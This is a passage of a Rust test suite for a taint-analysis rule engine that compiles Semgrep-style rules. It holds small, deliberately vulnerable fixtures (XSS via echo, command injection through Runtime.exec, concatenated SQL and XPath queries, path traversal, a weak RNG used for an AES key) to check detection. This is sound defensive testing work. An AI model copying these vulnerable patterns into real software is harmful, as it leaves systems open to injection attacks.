let miss_src = r#"
def handler():
data = input()
session.execute(data)
"#;
let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(miss_src, &tree);
assert_eq!(
findings.len(),
1,
"an unpinned `$OBJ.execute(...)` sink fires on any receiver (the broadening), got {:?}",
findings
);
}
#[test]
fn receiver_regex_general_regex_falls_through_to_method_name() {
let g = compiled(
r#"
id: py-general-receiver
mode: taint
languages: [python]
severity: ERROR
message: "x"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $CONN.execute(...)
- metavariable-regex:
metavariable: $CONN
regex: ^db.*$
"#,
)
.spec;
assert_eq!(g.sinks.len(), 1, "expected a single fallback sink matcher");
assert!(
matches!(&g.sinks[0], GenericMatcher::MethodName { method, .. } if method == "execute"),
"a general receiver regex must fall through to MethodName, got {:?}",
g.sinks[0]
);
}
#[test]
fn command_call_whole_args_helpers() {
assert!(is_whole_args_list("..."));
assert!(is_whole_args_list("$X"));
assert!(is_whole_args_list("$...VARS"));
assert!(!is_whole_args_list("..., file: $X"));
assert!(!is_whole_args_list("$X, $Y"));
assert!(!is_whole_args_list("$...")); assert!(!is_whole_args_list(""));
assert_eq!(parse_command_call("echo $...VARS"), Some("echo"));
assert_eq!(parse_command_call("send_file ..."), Some("send_file"));
assert_eq!(parse_command_call("redirect_to $URL"), Some("redirect_to"));
assert_eq!(parse_command_call("render ..., file: $X"), None);
assert_eq!(parse_command_call("$X + $Y"), None); assert_eq!(parse_command_call("a.b ..."), None); assert_eq!(parse_command_call("echo"), None); }
#[test]
fn php_echo_and_print_compile_to_call() {
let m = compile_pattern("echo $...VARS;", MatcherRole::Sink, Language::Php).expect("echo");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "echo"),
other => panic!("expected Call{{echo}}, got {other:?}"),
}
let m =
compile_pattern("print($...VARS);", MatcherRole::Sink, Language::Php).expect("print");
match m {
GenericMatcher::Call { canonical, .. } => assert_eq!(canonical, "print"),
other => panic!("expected Call{{print}}, got {other:?}"),
}
}
#[test]
fn command_call_is_gated_to_ruby_and_php() {
assert!(compile_pattern("echo $...VARS", MatcherRole::Sink, Language::Python).is_none());
assert!(compile_pattern("send_file ...", MatcherRole::Sink, Language::Go).is_none());
assert!(matches!(
compile_pattern("send_file ...", MatcherRole::Sink, Language::Ruby),
Some(GenericMatcher::Call { .. })
));
}
#[test]
fn keyworded_command_call_is_rejected_not_overmatched() {
assert!(
compile_pattern("render ..., file: $X", MatcherRole::Sink, Language::Ruby).is_none()
);
}
#[test]
fn php_echoed_request_rule_loads_and_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: echoed-request
mode: taint
languages: [php]
severity: ERROR
message: "reflected XSS via echo"
metadata:
cwe: "CWE-79"
pattern-sources:
- pattern: $_REQUEST
- pattern: $_GET
- pattern: $_POST
pattern-sinks:
- pattern: echo $...VARS;
pattern-sanitizers:
- pattern: htmlentities(...)
"#,
);
assert!(
rule.spec.sinks.iter().any(
|s| matches!(s, GenericMatcher::Call { canonical, .. } if canonical == "echo")
),
"echo sink should compile to Call{{echo}}"
);
let vuln = "<?php\nfunction render() {\n $x = $_GET['q'];\n echo $x;\n}\n";
let tree = parse_file(vuln, Language::Php).expect("PHP fixture parses");
let findings = rule.check(vuln, &tree);
assert!(
!findings.is_empty(),
"expected a finding for $_GET -> echo flow, got none"
);
let safe = "<?php\nfunction render() {\n echo \"static content\";\n}\n";
let tree = parse_file(safe, Language::Php).expect("PHP fixture parses");
assert!(
rule.check(safe, &tree).is_empty(),
"a constant echo must not fire"
);
let sanitized =
"<?php\nfunction render() {\n $x = htmlentities($_GET['q']);\n echo $x;\n}\n";
let tree = parse_file(sanitized, Language::Php).expect("PHP fixture parses");
assert!(
rule.check(sanitized, &tree).is_empty(),
"an htmlentities()-sanitized value must not fire"
);
}
#[test]
fn ruby_send_file_rule_loads_and_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: check-send-file
mode: taint
languages: [ruby]
severity: WARNING
message: "user input into send_file"
metadata:
cwe: "CWE-73"
pattern-sources:
- pattern-either:
- pattern: params[...]
- pattern: cookies[...]
pattern-sinks:
- pattern: send_file ...
"#,
);
assert!(
rule.spec.sinks.iter().any(
|s| matches!(s, GenericMatcher::Call { canonical, .. } if canonical == "send_file")
),
"send_file sink should compile to Call{{send_file}}"
);
let vuln = "def show\n path = params[:path]\n send_file path\nend\n";
let tree = parse_file(vuln, Language::Ruby).expect("Ruby fixture parses");
assert!(
!rule.check(vuln, &tree).is_empty(),
"expected a finding for params -> send_file flow, got none"
);
let safe = "def show\n send_file \"static.txt\"\nend\n";
let tree = parse_file(safe, Language::Ruby).expect("Ruby fixture parses");
assert!(
rule.check(safe, &tree).is_empty(),
"a constant send_file argument must not fire"
);
}
#[test]
fn typed_metavar_source_loads_and_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-typed-source
mode: taint
languages: [java]
severity: ERROR
message: "Untrusted HttpServletRequest reaches a command sink"
pattern-sources:
- pattern: (HttpServletRequest $REQ)
pattern-sinks:
- pattern: $RUNTIME.exec(...)
"#,
);
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "HttpServletRequest"
)),
"source should compile to TypedName{{HttpServletRequest}}, got {:?}",
rule.spec.sources
);
let fire_src = r#"
class Handler {
void handler(HttpServletRequest req) throws Exception {
runtime.exec(req.getParameter("x"));
}
}
"#;
let tree = parse_file(fire_src, Language::Java).expect("java fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"a value read off an HttpServletRequest-typed parameter reaching exec() must fire, got {:?}",
findings
);
}
#[test]
fn typed_metavar_source_discriminates_by_type() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-typed-source
mode: taint
languages: [java]
severity: ERROR
message: "Untrusted HttpServletRequest reaches a command sink"
pattern-sources:
- pattern: (HttpServletRequest $REQ)
pattern-sinks:
- pattern: $RUNTIME.exec(...)
"#,
);
let miss_src = r#"
class Handler {
void handler(FooBar req) throws Exception {
runtime.exec(req.getParameter("x"));
}
}
"#;
let tree = parse_file(miss_src, Language::Java).expect("java fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"a differently-typed parameter must not be seeded as a source, got {:?}",
findings
);
}
#[test]
fn csharp_typed_metavar_source_loads_and_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-typed-source
mode: taint
languages: [csharp]
severity: ERROR
message: "Untrusted string reaches a SQL sink"
pattern-sources:
- pattern: (string $X)
pattern-sinks:
- pattern: $CMD.ExecuteReader(...)
"#,
);
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "string"
)),
"source should compile to TypedName{{string}}, got {:?}",
rule.spec.sources
);
let fire_src = r#"
class Repo {
void M(string q, SqlCommand cmd) {
cmd.ExecuteReader(q);
}
}
"#;
let tree = parse_file(fire_src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"a `string`-typed parameter reaching ExecuteReader() must fire, got {:?}",
findings
);
}
#[test]
fn csharp_typed_metavar_source_discriminates_by_type() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-typed-source
mode: taint
languages: [csharp]
severity: ERROR
message: "Untrusted string reaches a SQL sink"
pattern-sources:
- pattern: (string $X)
pattern-sinks:
- pattern: $CMD.ExecuteReader(...)
"#,
);
let miss_src = r#"
class Repo {
void M(int q, SqlCommand cmd) {
cmd.ExecuteReader(q);
}
}
"#;
let tree = parse_file(miss_src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"a differently-typed (int) variable must not be seeded as a source, got {:?}",
findings
);
}
#[test]
fn csharp_typed_metavar_source_seeds_typed_local() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: csharp-typed-source
mode: taint
languages: [csharp]
severity: ERROR
message: "Untrusted string reaches a SQL sink"
pattern-sources:
- pattern: (string $X)
pattern-sinks:
- pattern: $CMD.ExecuteReader(...)
"#,
);
let fire_src = r#"
class Repo {
void M(SqlCommand cmd) {
string q = Helper();
cmd.ExecuteReader(q);
}
}
"#;
let tree = parse_file(fire_src, Language::CSharp).expect("C# fixture should parse");
assert_eq!(
rule.check(fire_src, &tree).len(),
1,
"a `string`-typed local reaching ExecuteReader() must fire"
);
let miss_src = r#"
class Repo {
void M(SqlCommand cmd) {
int n = Helper();
cmd.ExecuteReader(n);
}
}
"#;
let tree = parse_file(miss_src, Language::CSharp).expect("C# fixture should parse");
assert!(
rule.check(miss_src, &tree).is_empty(),
"a differently-typed (int) local must not be seeded as a source"
);
}
fn weak_rng_rule() -> SemgrepTaintRule {
compiled(
r#"
id: csharp-use-weak-rng
mode: taint
languages: [csharp]
severity: ERROR
message: "Weak RNG used to generate a cryptographic key"
pattern-sources:
- patterns:
- pattern-inside: (System.Random $RNG).NextBytes($KEY); ...
- pattern: $KEY
pattern-sinks:
- pattern-either:
- pattern: new AesGcm(...)
- pattern: new AesCcm(...)
- pattern: new ChaCha20Poly1305(...)
"#,
)
}
#[test]
fn csharp_call_arg_source_compiles_to_callargsource() {
let rule = weak_rng_rule();
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::CallArgSource { method, arg_index, .. }
if method == "NextBytes" && *arg_index == 0
)),
"source should compile to CallArgSource{{NextBytes,0}}, got {:?}",
rule.spec.sources
);
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::Call { canonical, .. } if canonical == "AesGcm"
)),
"`new AesGcm(...)` should compile to Call{{AesGcm}}, got {:?}",
rule.spec.sinks
);
}
#[test]
fn csharp_call_arg_source_fires_on_fill() {
use crate::engine::parser::parse_file;
let rule = weak_rng_rule();
let src = r#"
class C {
void M() {
var rng = new Random();
byte[] key = new byte[16];
rng.NextBytes(key);
var cipher = new AesGcm(key);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a key filled by NextBytes() reaching new AesGcm() must fire, got {:?}",
findings
);
}
#[test]
fn csharp_call_arg_source_silent_on_other_call() {
use crate::engine::parser::parse_file;
let rule = weak_rng_rule();
let src = r#"
class C {
void M() {
byte[] key = new byte[16];
Scramble(key);
var cipher = new AesGcm(key);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a buffer passed to a NON-matching call must not be seeded, got {:?}",
findings
);
}
#[test]
fn csharp_call_arg_source_seeds_only_focused_position() {
use crate::engine::parser::parse_file;
let rule = weak_rng_rule();
let fires_src = r#"
class C {
void M() {
byte[] seed = new byte[16];
byte[] key = new byte[16];
rng.NextBytes(seed, key);
var cipher = new AesGcm(seed);
}
}
"#;
let tree = parse_file(fires_src, Language::CSharp).expect("C# fixture should parse");
assert_eq!(
rule.check(fires_src, &tree).len(),
1,
"the position-0 argument (`seed`) must be seeded and fire on new AesGcm(seed)"
);
let miss_src = r#"
class C {
void M() {
byte[] seed = new byte[16];
byte[] key = new byte[16];
rng.NextBytes(seed, key);
var cipher = new AesGcm(key);
}
}
"#;
let tree = parse_file(miss_src, Language::CSharp).expect("C# fixture should parse");
assert!(
rule.check(miss_src, &tree).is_empty(),
"the position-1 argument (`key`) must NOT be seeded, got {:?}",
rule.check(miss_src, &tree)
);
}
#[test]
fn csharp_call_arg_source_does_not_seed_unfilled_buffer() {
use crate::engine::parser::parse_file;
let rule = weak_rng_rule();
let src = r#"
class C {
void M() {
byte[] key = new byte[16];
var cipher = new AesGcm(key);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"an unfilled buffer must not be a source, got {:?}",
findings
);
}
fn xpath_injection_rule() -> SemgrepTaintRule {
compiled(
"
id: xpath-injection
mode: taint
languages: [csharp]
severity: ERROR
message: XPath injection
pattern-sources:
- pattern-either:
- pattern: $T $M($INPUT,...) {...}
- pattern: \"$T $M(...) {\\n ...\\n string $INPUT;\\n}\\n\"
pattern-sinks:
- pattern-either:
- pattern: XPathExpression $EXPR = $NAV.Compile(\"...\" + $INPUT + \"...\");
- pattern: var $EXPR = $NAV.Compile(\"...\" + $INPUT + \"...\");
- pattern: XPathNodeIterator $NODE = $NAV.Select(\"...\" + $INPUT + \"...\");
- pattern: var $NODE = $NAV.Select(\"...\" + $INPUT + \"...\");
- pattern: Object $OBJ = $NAV.Evaluate(\"...\" + $INPUT + \"...\");
- pattern: var $OBJ = $NAV.Evaluate(\"...\" + $INPUT + \"...\");
",
)
}
#[test]
fn csharp_xpath_injection_compiles_to_intended_shapes() {
let rule = xpath_injection_rule();
assert!(
rule.spec
.sources
.iter()
.any(|s| matches!(s, GenericMatcher::FirstParamSource { .. })),
"pattern 1 must compile to FirstParamSource, got {:?}",
rule.spec.sources
);
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "string"
)),
"pattern 2 must compile to TypedName{{string}}, got {:?}",
rule.spec.sources
);
for method in ["Compile", "Select", "Evaluate"] {
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::CallArgConcat { method: m, .. } if m == method
)),
"sink for `.{method}(...)` must compile to CallArgConcat, got {:?}",
rule.spec.sinks
);
}
}
#[test]
fn csharp_xpath_injection_fires_on_concat_of_first_param() {
use crate::engine::parser::parse_file;
let rule = xpath_injection_rule();
let src = r#"
class Repo {
public List<Knowledge> Search(string input) {
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile(@"//knowledge[tags[contains(text(),'" + input + "')] and sensitivity/text() ='Public']");
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"first-parameter taint reaching a concat .Compile() must fire, got {:?}",
findings
);
}
#[test]
fn csharp_xpath_injection_silent_on_literal_arg() {
use crate::engine::parser::parse_file;
let rule = xpath_injection_rule();
let src = r#"
class Repo {
public List<Knowledge> Search(string input) {
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile(@"//knowledge[tags[contains(text(),'keyword')] and sensitivity/text() ='Public']");
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a plain-literal .Compile() argument must not fire, got {:?}",
findings
);
}
#[test]
fn csharp_xpath_injection_silent_on_no_input() {
use crate::engine::parser::parse_file;
let rule = xpath_injection_rule();
let src = r#"
class Repo {
void M() {
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile("//knowledge[1]");
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a no-input literal .Compile() must not fire, got {:?}",
findings
);
}
#[test]
fn csharp_xpath_injection_silent_on_direct_tainted_no_concat() {
use crate::engine::parser::parse_file;
let rule = xpath_injection_rule();
let src = r#"
class Repo {
void Search(string input) {
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr = nav.Compile(input);
}
}
"#;
let tree = parse_file(src, Language::CSharp).expect("C# fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a direct tainted argument with no concatenation must not fire, got {:?}",
findings
);
}
fn path_traversal_rule() -> SemgrepTaintRule {
compiled(
r#"
id: java-httpservlet-path-traversal
mode: taint
languages: [java]
severity: ERROR
message: "Tainted path flows into a File"
pattern-sources:
- pattern: (HttpServletRequest $REQ)
pattern-sinks:
- pattern: |
(java.io.File $FILE) = ...
"#,
)
}
#[test]
fn typed_assign_sink_compiles_to_typed_assign_target() {
let rule = path_traversal_rule();
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::TypedAssignTarget { type_name, .. } if type_name == "File"
)),
"sink should compile to TypedAssignTarget{{File}} (not `any assignment`), got {:?}",
rule.spec.sinks
);
}
#[test]
fn typed_assign_sink_fires_on_tainted_file_declaration() {
use crate::engine::parser::parse_file;
let rule = path_traversal_rule();
let src = r#"
class Handler {
void handle(HttpServletRequest req) throws Exception {
String path = req.getParameter("path");
File f = new File(path);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted path assigned into a File-typed variable must fire, got {:?}",
findings
);
}
#[test]
fn typed_assign_sink_silent_on_literal_rhs() {
use crate::engine::parser::parse_file;
let rule = path_traversal_rule();
let src = r#"
class Handler {
void handle(HttpServletRequest req) throws Exception {
String path = req.getParameter("path");
File f = new File("/static");
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a File built from a literal path must not fire, got {:?}",
findings
);
}
#[test]
fn typed_assign_sink_fires_on_bare_assignment_to_file_local() {
use crate::engine::parser::parse_file;
let rule = path_traversal_rule();
let src = r#"
class Handler {
void handle(HttpServletRequest req) throws Exception {
File f = new File("/static");
String path = req.getParameter("path");
f = new File(path);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted value reassigned into a File-typed local must fire, got {:?}",
findings
);
}
#[test]
fn typed_assign_sink_silent_on_wrong_lhs_type() {
use crate::engine::parser::parse_file;
let rule = path_traversal_rule();
let src = r#"
class Handler {
void handle(HttpServletRequest req) throws Exception {
String s = req.getParameter("path");
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a tainted value assigned into a non-File variable must not fire, got {:?}",
findings
);
}
#[test]
fn typed_metavar_receiver_source_loads_and_fires_on_local() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-typed-receiver-source
mode: taint
languages: [java]
severity: ERROR
message: "Untrusted HttpServletRequest read reaches a command sink"
pattern-sources:
- patterns:
- pattern: (HttpServletRequest $REQ).$FUNC(...)
pattern-sinks:
- pattern: $RUNTIME.exec(...)
"#,
);
assert!(
rule.spec.sources.iter().any(|s| matches!(
s,
GenericMatcher::TypedName { type_name, .. } if type_name == "HttpServletRequest"
)),
"receiver-typed source should compile to TypedName{{HttpServletRequest}}, got {:?}",
rule.spec.sources
);
let fire_src = r#"
class Handler {
void handler() throws Exception {
HttpServletRequest req = getRequest();
runtime.exec(req.getParameter("x"));
}
}
"#;
let tree = parse_file(fire_src, Language::Java).expect("java fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"a read off a locally-declared HttpServletRequest reaching exec() must fire, got {:?}",
findings
);
}
const TYPED_RECEIVER_STMT_SINK_RULE: &str = r#"
id: java-typed-receiver-stmt-sink
mode: taint
languages: [java]
severity: ERROR
message: "Tainted env args reach Runtime.exec"
pattern-sources:
- pattern: (HttpServletRequest $REQ)
pattern-sinks:
- patterns:
- pattern: (java.lang.Runtime $R).exec($CMD, $ENV_ARGS, ...);
- focus-metavariable: $ENV_ARGS
"#;
#[test]
fn typed_receiver_statement_sink_loads_and_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(TYPED_RECEIVER_STMT_SINK_RULE);
assert!(
rule.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::MethodName { method, .. } if method == "exec"
)),
"statement sink should compile to MethodName{{exec}}, got {:?}",
rule.spec.sinks
);
let fire_src = r#"
class Handler {
void handler(HttpServletRequest req) throws Exception {
Runtime r = Runtime.getRuntime();
String[] env = { req.getParameter("x") };
r.exec("cmd", env);
}
}
"#;
let tree = parse_file(fire_src, Language::Java).expect("java fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"tainted value reaching Runtime.exec(...) must fire, got {:?}",
findings
);
}
#[test]
fn typed_receiver_statement_sink_silent_on_clean_call() {
use crate::engine::parser::parse_file;
let rule = compiled(TYPED_RECEIVER_STMT_SINK_RULE);
let miss_src = r#"
class Handler {
void handler(HttpServletRequest req) throws Exception {
Runtime r = Runtime.getRuntime();
String[] env = { "SAFE=1" };
r.exec("cmd", env);
}
}
"#;
let tree = parse_file(miss_src, Language::Java).expect("java fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"a Runtime.exec(...) call with no tainted argument must not fire, got {:?}",
findings
);
}
#[test]
fn chained_receiver_statement_sink_does_not_compile_bogus_inner_sink() {
let yaml = r#"
id: java-chained-session-sink
mode: taint
languages: [java]
severity: WARNING
message: "Tainted session attribute"
pattern-sources:
- pattern: (HttpServletRequest $REQ)
pattern-sinks:
- patterns:
- pattern: (HttpServletRequest $REQ).getSession().$FUNC($NAME, $VALUE);
- metavariable-regex:
metavariable: $FUNC
regex: ^(putValue|setAttribute)$
- focus-metavariable: $VALUE
"#;
let v: YamlValue = serde_yaml_ng::from_str(yaml).unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Skip(_) => {}
TaintRuleParse::Compiled(r) => {
assert!(
!r.spec.sinks.iter().any(|s| matches!(
s,
GenericMatcher::MethodName { method, .. } if method == "getSession"
)),
"chained sink must not compile to MethodName{{getSession}}, got {:?}",
r.spec.sinks
);
}
TaintRuleParse::NotTaint => panic!("expected a taint rule"),
}
}
const CONCAT_SQL_RULE: &str = r#"
id: labels-sql
mode: taint
languages: [java]
severity: ERROR
message: "Formatted SQL string"
metadata:
cwe: "CWE-89"
pattern-sources:
- patterns:
- pattern-either:
- pattern: (HttpServletRequest $REQ)
- patterns:
- pattern-inside: |
$ANNOT $FUNC (..., $INPUT, ...) {
...
}
- pattern: (String $INPUT)
- focus-metavariable: $INPUT
label: INPUT
- patterns:
- pattern-either:
- pattern: $X + $INPUT
- pattern: String.format(..., $INPUT, ...)
label: CONCAT
requires: INPUT
pattern-sinks:
- patterns:
- pattern-either:
- pattern: (Statement $S).$SQLFUNC(...)
- pattern: (PreparedStatement $P).$SQLFUNC(...)
- metavariable-regex:
metavariable: $SQLFUNC
regex: execute|executeQuery|createQuery
requires: CONCAT
"#;
#[test]
fn taint_labels_concat_flow_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(CONCAT_SQL_RULE);
assert!(
rule.label_policy.is_some(),
"CONCAT-family rule must compile a LabelPolicy"
);
let src = r#"
class C {
void find(String input, java.sql.Statement stmt) throws Exception {
String q = "SELECT * FROM users WHERE name = '" + input + "'";
stmt.executeQuery(q);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"concatenated tainted input into executeQuery must fire, got {findings:?}"
);
}
#[test]
fn taint_labels_direct_param_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(CONCAT_SQL_RULE);
let src = r#"
class C {
void find(String input, java.sql.Statement stmt) throws Exception {
stmt.executeQuery(input);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"non-concatenated tainted input must NOT fire (requires: CONCAT), got {findings:?}"
);
}
#[test]
fn taint_labels_parameterized_query_stays_clean() {
use crate::engine::parser::parse_file;
let rule = compiled(CONCAT_SQL_RULE);
let src = r#"
class C {
void find(String input, java.sql.PreparedStatement stmt) throws Exception {
stmt.setString(1, input);
stmt.executeQuery();
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"parameterized query must stay clean, got {findings:?}"
);
}
#[test]
fn taint_labels_stringbuilder_append_relabel_propagator_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: labels-cmd
mode: taint
languages: [java]
severity: ERROR
message: "Tainted system command"
metadata:
cwe: "CWE-78"
pattern-propagators:
- pattern: (StringBuilder $SB).append($INPUT)
from: $INPUT
to: $SB
label: CONCAT
requires: INPUT
pattern-sources:
- patterns:
- pattern-inside: |
$ANNOT $FUNC (..., $INPUT, ...) {
...
}
- pattern: (String $INPUT)
- focus-metavariable: $INPUT
label: INPUT
pattern-sinks:
- patterns:
- pattern-either:
- pattern: (Runtime $R).$EXEC(...)
- metavariable-regex:
metavariable: $EXEC
regex: exec|load
requires: CONCAT
"#,
);
let fire = r#"
class C {
void run(String input) throws Exception {
StringBuilder b = new StringBuilder();
b.append(input);
Runtime.getRuntime().exec(b.toString());
}
}
"#;
let tree = parse_file(fire, Language::Java).expect("java fixture parses");
assert_eq!(
rule.check(fire, &tree).len(),
1,
"append relabel propagator must carry CONCAT to the exec sink"
);
let clean = r#"
class C {
void run(String input) throws Exception {
Runtime.getRuntime().exec(input);
}
}
"#;
let tree = parse_file(clean, Language::Java).expect("java fixture parses");
assert!(
rule.check(clean, &tree).is_empty(),
"non-concatenated input must NOT fire (requires: CONCAT)"
);
}
const JAVA_NEGATION_RULE: &str = r#"
id: labels-negation
mode: taint
languages: [java]
severity: ERROR
message: "open redirect"
pattern-sources:
- pattern: (HttpServletRequest $REQ)
label: INPUT
- pattern: $X + $INPUT
label: CLEAN
requires: INPUT
pattern-sinks:
- patterns:
- pattern-either:
- pattern: (Statement $S).$SQLFUNC(...)
- metavariable-regex:
metavariable: $SQLFUNC
regex: execute
requires: INPUT and not CLEAN
"#;
#[test]
fn taint_labels_negation_requires_loads() {
let rule = compiled(JAVA_NEGATION_RULE);
assert!(
rule.label_policy.is_some(),
"an `INPUT and not CLEAN` rule must compile a LabelPolicy"
);
}
#[test]
fn taint_labels_java_negation_direct_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(JAVA_NEGATION_RULE);
let src = r#"
class C {
void run(HttpServletRequest req, java.sql.Statement stmt) throws Exception {
stmt.execute(req.getParameter("x"));
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"un-concatenated tainted input must fire (INPUT and not CLEAN), got {findings:?}"
);
}
#[test]
fn taint_labels_java_negation_concat_suppressed() {
use crate::engine::parser::parse_file;
let rule = compiled(JAVA_NEGATION_RULE);
let src = r#"
class C {
void run(HttpServletRequest req, java.sql.Statement stmt) throws Exception {
String q = "prefix" + req.getParameter("y");
stmt.execute(q);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a CLEAN-relabeled (concatenated) value must NOT fire (not CLEAN), got {findings:?}"
);
}
#[test]
fn unlabeled_taint_rule_has_no_label_policy() {
let rule = compiled(
r#"
id: plain
mode: taint
languages: [java]
severity: ERROR
message: m
pattern-sources:
- pattern: (HttpServletRequest $REQ)
pattern-sinks:
- pattern: (Statement $S).executeQuery(...)
"#,
);
assert!(
rule.label_policy.is_none(),
"an unlabeled rule must have no LabelPolicy"
);
}
const GO_OPEN_REDIRECT_RULE: &str = r#"
id: labels-go-open-redirect
mode: taint
languages: [go]
severity: WARNING
message: "open redirect"
metadata:
cwe: "CWE-601"
pattern-sources:
- pattern: getInput(...)
label: INPUT
- pattern: '"$U" + $X'
label: CLEAN
requires: INPUT
pattern-sinks:
- pattern: redirect(...)
requires: INPUT and not CLEAN
"#;
#[test]
fn taint_labels_go_negation_policy_compiles() {
let rule = compiled(GO_OPEN_REDIRECT_RULE);
let policy = rule
.label_policy
.as_ref()
.expect("Go negation rule must compile a LabelPolicy");
assert_eq!(policy.source_label, "INPUT");
assert_eq!(policy.relabels.len(), 1);
assert_eq!(policy.relabels[0].from, "INPUT");
assert_eq!(policy.relabels[0].to, "CLEAN");
use crate::rules::taint_engine::RequiresExpr;
let mut only_input = std::collections::BTreeSet::new();
only_input.insert("INPUT".to_string());
assert!(policy.sink_requires.eval(&only_input), "INPUT alone fires");
let mut input_clean = only_input.clone();
input_clean.insert("CLEAN".to_string());
assert!(
!policy.sink_requires.eval(&input_clean),
"INPUT+CLEAN is suppressed by `not CLEAN`"
);
assert!(matches!(policy.sink_requires, RequiresExpr::And(_, _)));
}
#[test]
fn taint_labels_go_negation_direct_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_OPEN_REDIRECT_RULE);
let src = r#"
package main
func handler() {
x := getInput()
redirect(x)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"un-sanitized tainted input into redirect must fire, got {findings:?}"
);
}
#[test]
fn taint_labels_go_negation_relabeled_suppressed() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_OPEN_REDIRECT_RULE);
let src = r#"
package main
func handler() {
x := getInput()
u := "https://safe.example.com/" + x
redirect(u)
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a CLEAN-relabeled (concatenated) value must NOT fire (not CLEAN), got {findings:?}"
);
}
#[test]
fn taint_labels_go_negation_inline_concat_suppressed() {
use crate::engine::parser::parse_file;
let rule = compiled(GO_OPEN_REDIRECT_RULE);
let src = r#"
package main
func handler() {
redirect("https://safe.example.com/" + getInput())
}
"#;
let tree = parse_file(src, Language::Go).expect("go fixture parses");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"inline concat behind a URL prefix must NOT fire (not CLEAN), got {findings:?}"
);
}
#[test]
fn taint_labels_go_multiple_primary_labels_unsupported() {
let yaml = r#"
id: labels-two-primaries
mode: taint
languages: [go]
severity: WARNING
message: m
